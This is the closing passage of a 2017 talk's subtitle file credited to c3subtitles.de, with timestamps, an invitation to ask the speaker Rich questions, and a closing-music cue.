come, ask Rich questions, if you are
remote, you've seen the contact possibilities.
00:32:37.529 --> 00:32:43.026
closing music
00:32:43.026 --> 00:33:02.000
subtitles created by c3subtitles.de
in the year 2017. Join, and help us!